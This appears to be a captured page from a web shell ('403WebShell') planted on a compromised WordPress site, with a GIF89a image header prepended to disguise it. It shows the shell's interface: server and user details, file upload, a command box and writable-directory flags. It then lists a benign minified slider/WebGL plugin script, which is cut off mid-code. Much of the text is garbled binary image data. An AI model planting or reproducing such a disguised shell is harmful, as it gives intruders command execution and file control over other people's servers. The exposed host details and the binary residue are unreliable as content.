GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.243
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/dangroup.sa/wp-content/plugins/wcf-addons-pro/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/dangroup.sa/wp-content/plugins/wcf-addons-pro/assets/js/advance-slider-effects.js
function _toConsumableArray(t){return _arrayWithoutHoles(t)||_iterableToArray(t)||_unsupportedIterableToArray(t)||_nonIterableSpread()}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _unsupportedIterableToArray(t,e){if(t){if("string"==typeof t)return _arrayLikeToArray(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Object"===i&&t.constructor&&(i=t.constructor.name),"Map"===i||"Set"===i?Array.from(t):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?_arrayLikeToArray(t,e):void 0}}function _iterableToArray(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}function _arrayWithoutHoles(t){if(Array.isArray(t))return _arrayLikeToArray(t)}function _arrayLikeToArray(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,n=new Array(e);i<e;i++)n[i]=t[i];return n}function ownKeys(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,n)}return i}function _objectSpread(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{};e%2?ownKeys(Object(i),!0).forEach((function(e){_defineProperty(t,e,i[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(i)):ownKeys(Object(i)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(i,e))}))}return t}function _defineProperty(t,e,i){return(e=_toPropertyKey(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function _get(){return _get="undefined"!=typeof Reflect&&Reflect.get?Reflect.get.bind():function(t,e,i){var n=_superPropBase(t,e);if(n){var r=Object.getOwnPropertyDescriptor(n,e);return r.get?r.get.call(arguments.length<3?t:i):r.value}},_get.apply(this,arguments)}function _superPropBase(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&null!==(t=_getPrototypeOf(t)););return t}function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function _defineProperties(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,_toPropertyKey(n.key),n)}}function _createClass(t,e,i){return e&&_defineProperties(t.prototype,e),i&&_defineProperties(t,i),Object.defineProperty(t,"prototype",{writable:!1}),t}function _toPropertyKey(t){var e=_toPrimitive(t,"string");return"symbol"==_typeof(e)?e:String(e)}function _toPrimitive(t,e){if("object"!=_typeof(t)||!t)return t;var i=t[Symbol.toPrimitive];if(void 0!==i){var n=i.call(t,e||"default");if("object"!=_typeof(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===e?String:Number)(t)}function _callSuper(t,e,i){return e=_getPrototypeOf(e),_possibleConstructorReturn(t,_isNativeReflectConstruct()?Reflect.construct(e,i||[],_getPrototypeOf(t).constructor):e.apply(t,i))}function _possibleConstructorReturn(t,e){if(e&&("object"===_typeof(e)||"function"==typeof e))return e;if(void 0!==e)throw new TypeError("Derived constructors may only return object or undefined");return _assertThisInitialized(t)}function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function _inherits(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.defineProperty(t,"prototype",{writable:!1}),e&&_setPrototypeOf(t,e)}function _wrapNativeSuper(t){var e="function"==typeof Map?new Map:void 0;return _wrapNativeSuper=function(t){if(null===t||!_isNativeFunction(t))return t;if("function"!=typeof t)throw new TypeError("Super expression must either be null or a function");if(void 0!==e){if(e.has(t))return e.get(t);e.set(t,i)}function i(){return _construct(t,arguments,_getPrototypeOf(this).constructor)}return i.prototype=Object.create(t.prototype,{constructor:{value:i,enumerable:!1,writable:!0,configurable:!0}}),_setPrototypeOf(i,t)},_wrapNativeSuper(t)}function _construct(t,e,i){if(_isNativeReflectConstruct())return Reflect.construct.apply(null,arguments);var n=[null];n.push.apply(n,e);var r=new(t.bind.apply(t,n));return i&&_setPrototypeOf(r,i.prototype),r}function _isNativeReflectConstruct(){try{var t=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(t){}return(_isNativeReflectConstruct=function(){return!!t})()}function _isNativeFunction(t){try{return-1!==Function.toString.call(t).indexOf("[native code]")}catch(e){return"function"==typeof t}}function _setPrototypeOf(t,e){return _setPrototypeOf=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(t,e){return t.__proto__=e,t},_setPrototypeOf(t,e)}function _getPrototypeOf(t){return _getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(t){return t.__proto__||Object.getPrototypeOf(t)},_getPrototypeOf(t)}function _typeof(t){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},_typeof(t)}!function(t,e){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).SwiperGL=e()}(this,(function(){"use strict";function t(t){var e=t[0],i=t[1],n=t[2];return Math.sqrt(e*e+i*i+n*n)}function e(t,e){return t[0]=e[0],t[1]=e[1],t[2]=e[2],t}function i(t,e,i){return t[0]=e[0]+i[0],t[1]=e[1]+i[1],t[2]=e[2]+i[2],t}function n(t,e,i){return t[0]=e[0]-i[0],t[1]=e[1]-i[1],t[2]=e[2]-i[2],t}function r(t,e,i){return t[0]=e[0]*i,t[1]=e[1]*i,t[2]=e[2]*i,t}function s(t){var e=t[0],i=t[1],n=t[2];return e*e+i*i+n*n}function a(t,e){var i=e[0],n=e[1],r=e[2],s=i*i+n*n+r*r;return s>0&&(s=1/Math.sqrt(s)),t[0]=e[0]*s,t[1]=e[1]*s,t[2]=e[2]*s,t}function o(t,e){return t[0]*e[0]+t[1]*e[1]+t[2]*e[2]}function l(t,e,i){var n=e[0],r=e[1],s=e[2],a=i[0],o=i[1],l=i[2];return t[0]=r*l-s*o,t[1]=s*a-n*l,t[2]=n*o-r*a,t}var h,c,u=(h=[0,0,0],c=[0,0,0],function(t,i){e(h,t),e(c,i),a(h,h),a(c,c);var n=o(h,c);return n>1?0:n<-1?Math.PI:Math.acos(n)});var d=function(h){function c(){var t,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:e;return _classCallCheck(this,c),_possibleConstructorReturn(t=_callSuper(this,c,[e,i,n]),_assertThisInitialized(t))}return _inherits(c,_wrapNativeSuper(Array)),_createClass(c,[{key:"x",get:function(){return this[0]},set:function(t){this[0]=t}},{key:"y",get:function(){return this[1]},set:function(t){this[1]=t}},{key:"z",get:function(){return this[2]},set:function(t){this[2]=t}},{key:"set",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:t,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t;return t.length?this.copy(t):(function(t,e,i,n){t[0]=e,t[1]=i,t[2]=n}(this,t,e,i),this)}},{key:"copy",value:function(t){return e(this,t),this}},{key:"add",value:function(t,e){return e?i(this,t,e):i(this,this,t),this}},{key:"sub",value:function(t,e){return e?n(this,t,e):n(this,this,t),this}},{key:"multiply",value:function(t){var e,i,n;return t.length?(i=this,n=t,(e=this)[0]=i[0]*n[0],e[1]=i[1]*n[1],e[2]=i[2]*n[2]):r(this,this,t),this}},{key:"divide",value:function(t){var e,i,n;return t.length?(i=this,n=t,(e=this)[0]=i[0]/n[0],e[1]=i[1]/n[1],e[2]=i[2]/n[2]):r(this,this,1/t),this}},{key:"inverse",value:function(){var t,e;return e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this,(t=this)[0]=1/e[0],t[1]=1/e[1],t[2]=1/e[2],this}},{key:"len",value:function(){return t(this)}},{key:"distance",value:function(e){return e?(i=this,r=(n=e)[0]-i[0],s=n[1]-i[1],a=n[2]-i[2],Math.sqrt(r*r+s*s+a*a)):t(this);var i,n,r,s,a}},{key:"squaredLen",value:function(){return s(this)}},{key:"squaredDistance",value:function(t){return t?(e=this,n=(i=t)[0]-e[0],r=i[1]-e[1],a=i[2]-e[2],n*n+r*r+a*a):s(this);var e,i,n,r,a}},{key:"negate",value:function(){var t,e;return e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this,(t=this)[0]=-e[0],t[1]=-e[1],t[2]=-e[2],this}},{key:"cross",value:function(t,e){return e?l(this,t,e):l(this,this,t),this}},{key:"scale",value:function(t){return r(this,this,t),this}},{key:"normalize",value:function(){return a(this,this),this}},{key:"dot",value:function(t){return o(this,t)}},{key:"equals",value:function(t){return i=t,(e=this)[0]===i[0]&&e[1]===i[1]&&e[2]===i[2];var e,i}},{key:"applyMatrix3",value:function(t){var e,i,n,r,s,a;return e=this,n=t,r=(i=this)[0],s=i[1],a=i[2],e[0]=r*n[0]+s*n[3]+a*n[6],e[1]=r*n[1]+s*n[4]+a*n[7],e[2]=r*n[2]+s*n[5]+a*n[8],this}},{key:"applyMatrix4",value:function(t){var e,i,n,r,s,a,o;return e=this,n=t,r=(i=this)[0],s=i[1],a=i[2],o=(o=n[3]*r+n[7]*s+n[11]*a+n[15])||1,e[0]=(n[0]*r+n[4]*s+n[8]*a+n[12])/o,e[1]=(n[1]*r+n[5]*s+n[9]*a+n[13])/o,e[2]=(n[2]*r+n[6]*s+n[10]*a+n[14])/o,this}},{key:"scaleRotateMatrix4",value:function(t){var e,i,n,r,s,a,o;return e=this,n=t,r=(i=this)[0],s=i[1],a=i[2],o=(o=n[3]*r+n[7]*s+n[11]*a+n[15])||1,e[0]=(n[0]*r+n[4]*s+n[8]*a)/o,e[1]=(n[1]*r+n[5]*s+n[9]*a)/o,e[2]=(n[2]*r+n[6]*s+n[10]*a)/o,this}},{key:"applyQuaternion",value:function(t){return function(t,e,i){var n=e[0],r=e[1],s=e[2],a=i[0],o=i[1],l=i[2],h=o*s-l*r,c=l*n-a*s,u=a*r-o*n,d=o*u-l*c,f=l*h-a*u,p=a*c-o*h,m=2*i[3];h*=m,c*=m,u*=m,d*=2,f*=2,p*=2,t[0]=n+h+d,t[1]=r+c+f,t[2]=s+u+p}(this,this,t),this}},{key:"angle",value:function(t){return u(this,t)}},{key:"lerp",value:function(t,e){return function(t,e,i,n){var r=e[0],s=e[1],a=e[2];t[0]=r+n*(i[0]-r),t[1]=s+n*(i[1]-s),t[2]=a+n*(i[2]-a)}(this,this,t,e),this}},{key:"clone",value:function(){return new c(this[0],this[1],this[2])}},{key:"fromArray",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this[0]=t[e],this[1]=t[e+1],this[2]=t[e+2],this}},{key:"toArray",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return t[e]=this[0],t[e+1]=this[1],t[e+2]=this[2],t}},{key:"transformDirection",value:function(t){var e=this[0],i=this[1],n=this[2];return this[0]=t[0]*e+t[4]*i+t[8]*n,this[1]=t[1]*e+t[5]*i+t[9]*n,this[2]=t[2]*e+t[6]*i+t[10]*n,this.normalize()}}]),c}(),f=new d,p=1,m=1,g=!1,v=function(){function t(e){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};for(var n in _classCallCheck(this,t),e.canvas||console.error("gl not passed as first argument to Geometry"),this.gl=e,this.attributes=i,this.id=p++,this.VAOs={},this.drawRange={start:0,count:0},this.instancedCount=0,this.gl.renderer.bindVertexArray(null),this.gl.renderer.currentGeometry=null,this.glState=this.gl.renderer.state,i)this.addAttribute(n,i[n])}return _createClass(t,[{key:"addAttribute",value:function(t,e){if(this.attributes[t]=e,e.id=m++,e.size=e.size||1,e.type=e.type||(e.data.constructor===Float32Array?this.gl.FLOAT:e.data.constructor===Uint16Array?this.gl.UNSIGNED_SHORT:this.gl.UNSIGNED_INT),e.target="index"===t?this.gl.ELEMENT_ARRAY_BUFFER:this.gl.ARRAY_BUFFER,e.normalized=e.normalized||!1,e.stride=e.stride||0,e.offset=e.offset||0,e.count=e.count||(e.stride?e.data.byteLength/e.stride:e.data.length/e.size),e.divisor=e.instanced||0,e.needsUpdate=!1,e.usage=e.usage||this.gl.STATIC_DRAW,e.buffer||this.updateAttribute(e),e.divisor){if(this.isInstanced=!0,this.instancedCount&&this.instancedCount!==e.count*e.divisor)return console.warn("geometry has multiple instanced buffers of different length"),this.instancedCount=Math.min(this.instancedCount,e.count*e.divisor);this.instancedCount=e.count*e.divisor}else"index"===t?this.drawRange.count=e.count:this.attributes.index||(this.drawRange.count=Math.max(this.drawRange.count,e.count))}},{key:"updateAttribute",value:function(t){var e=!t.buffer;e&&(t.buffer=this.gl.createBuffer()),this.glState.boundBuffer!==t.buffer&&(this.gl.bindBuffer(t.target,t.buffer),this.glState.boundBuffer=t.buffer),e?this.gl.bufferData(t.target,t.data,t.usage):this.gl.bufferSubData(t.target,0,t.data),t.needsUpdate=!1}},{key:"setIndex",value:function(t){this.addAttribute("index",t)}},{key:"setDrawRange",value:function(t,e){this.drawRange.start=t,this.drawRange.count=e}},{key:"setInstancedCount",value:function(t){this.instancedCount=t}},{key:"createVAO",value:function(t){this.VAOs[t.attributeOrder]=this.gl.renderer.createVertexArray(),this.gl.renderer.bindVertexArray(this.VAOs[t.attributeOrder]),this.bindAttributes(t)}},{key:"bindAttributes",value:function(t){var e=this;t.attributeLocations.forEach((function(t,i){var n=i.name,r=i.type;if(e.attributes[n]){var s=e.attributes[n];e.gl.bindBuffer(s.target,s.buffer),e.glState.boundBuffer=s.buffer;var a=1;35674===r&&(a=2),35675===r&&(a=3),35676===r&&(a=4);for(var o=s.size/a,l=1===a?0:a*a*a,h=1===a?0:a*a,c=0;c<a;c++)e.gl.vertexAttribPointer(t+c,o,s.type,s.normalized,s.stride+l,s.offset+c*h),e.gl.enableVertexAttribArray(t+c),e.gl.renderer.vertexAttribDivisor(t+c,s.divisor)}else console.warn("active attribute ".concat(n," not being supplied"))})),this.attributes.index&&this.gl.bindBuffer(this.gl.ELEMENT_ARRAY_BUFFER,this.attributes.index.buffer)}},{key:"draw",value:function(t){var e=this,i=t.program,n=t.mode,r=void 0===n?this.gl.TRIANGLES:n;this.gl.renderer.currentGeometry!=="".concat(this.id,"_").concat(i.attributeOrder)&&(this.VAOs[i.attributeOrder]||this.createVAO(i),this.gl.renderer.bindVertexArray(this.VAOs[i.attributeOrder]),this.gl.renderer.currentGeometry="".concat(this.id,"_").concat(i.attributeOrder)),i.attributeLocations.forEach((function(t,i){var n=i.name,r=e.attributes[n];r.needsUpdate&&e.updateAttribute(r)})),this.isInstanced?this.attributes.index?this.gl.renderer.drawElementsInstanced(r,this.drawRange.count,this.attributes.index.type,this.attributes.index.offset+2*this.drawRange.start,this.instancedCount):this.gl.renderer.drawArraysInstanced(r,this.drawRange.start,this.drawRange.count,this.instancedCount):this.attributes.index?this.gl.drawElements(r,this.drawRange.count,this.attributes.index.type,this.attributes.index.offset+2*this.drawRange.start):this.gl.drawArrays(r,this.drawRange.start,this.drawRange.count)}},{key:"getPosition",value:function(){var t=this.attributes.position;return t.data?t:g?void 0:(console.warn("No position buffer data found to compute bounds"),g=!0)}},{key:"computeBoundingBox",value:function(t){t||(t=this.getPosition());var e=t.data,i=t.stride?t.stride/e.BYTES_PER_ELEMENT:t.size;this.bounds||(this.bounds={min:new d,max:new d,center:new d,scale:new d,radius:1/0});var n=this.bounds.min,r=this.bounds.max,s=this.bounds.center,a=this.bounds.scale;n.set(1/0),r.set(-1/0);for(var o=0,l=e.length;o<l;o+=i){var h=e[o],c=e[o+1],u=e[o+2];n.x=Math.min(h,n.x),n.y=Math.min(c,n.y),n.z=Math.min(u,n.z),r.x=Math.max(h,r.x),r.y=Math.max(c,r.y),r.z=Math.max(u,r.z)}a.sub(r,n),s.add(n,r).divide(2)}},{key:"computeBoundingSphere",value:function(t){t||(t=this.getPosition());var e=t.data,i=t.stride?t.stride/e.BYTES_PER_ELEMENT:t.size;this.bounds||this.computeBoundingBox(t);for(var n=0,r=0,s=e.length;r<s;r+=i)f.fromArray(e,r),n=Math.max(n,this.bounds.center.squaredDistance(f));this.bounds.radius=Math.sqrt(n)}},{key:"remove",value:function(){for(var t in this.VAOs)this.gl.renderer.deleteVertexArray(this.VAOs[t]),delete this.VAOs[t];for(var e in this.attributes)this.gl.deleteBuffer(this.attributes[e].buffer),delete this.attributes[e]}}]),t}(),y=1,x={},w=function(){function t(e){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=i.vertex,r=i.fragment,s=i.uniforms,a=void 0===s?{}:s,o=i.transparent,l=void 0!==o&&o,h=i.cullFace,c=void 0===h?e.BACK:h,u=i.frontFace,d=void 0===u?e.CCW:u,f=i.depthTest,p=void 0===f||f,m=i.depthWrite,g=void 0===m||m,v=i.depthFunc,x=void 0===v?e.LESS:v;_classCallCheck(this,t),e.canvas||console.error("gl not passed as fist argument to Program"),this.gl=e,this.uniforms=a,this.id=y++,n||console.warn("vertex shader not supplied"),r||console.warn("fragment shader not supplied"),this.transparent=l,this.cullFace=c,this.frontFace=d,this.depthTest=p,this.depthWrite=g,this.depthFunc=x,this.blendFunc={},this.blendEquation={},this.transparent&&!this.blendFunc.src&&(this.gl.renderer.premultipliedAlpha?this.setBlendFunc(this.gl.ONE,this.gl.ONE_MINUS_SRC_ALPHA):this.setBlendFunc(this.gl.SRC_ALPHA,this.gl.ONE_MINUS_SRC_ALPHA));var w=e.createShader(e.VERTEX_SHADER);e.shaderSource(w,n),e.compileShader(w),""!==e.getShaderInfoLog(w)&&console.warn("".concat(e.getShaderInfoLog(w),"\nVertex 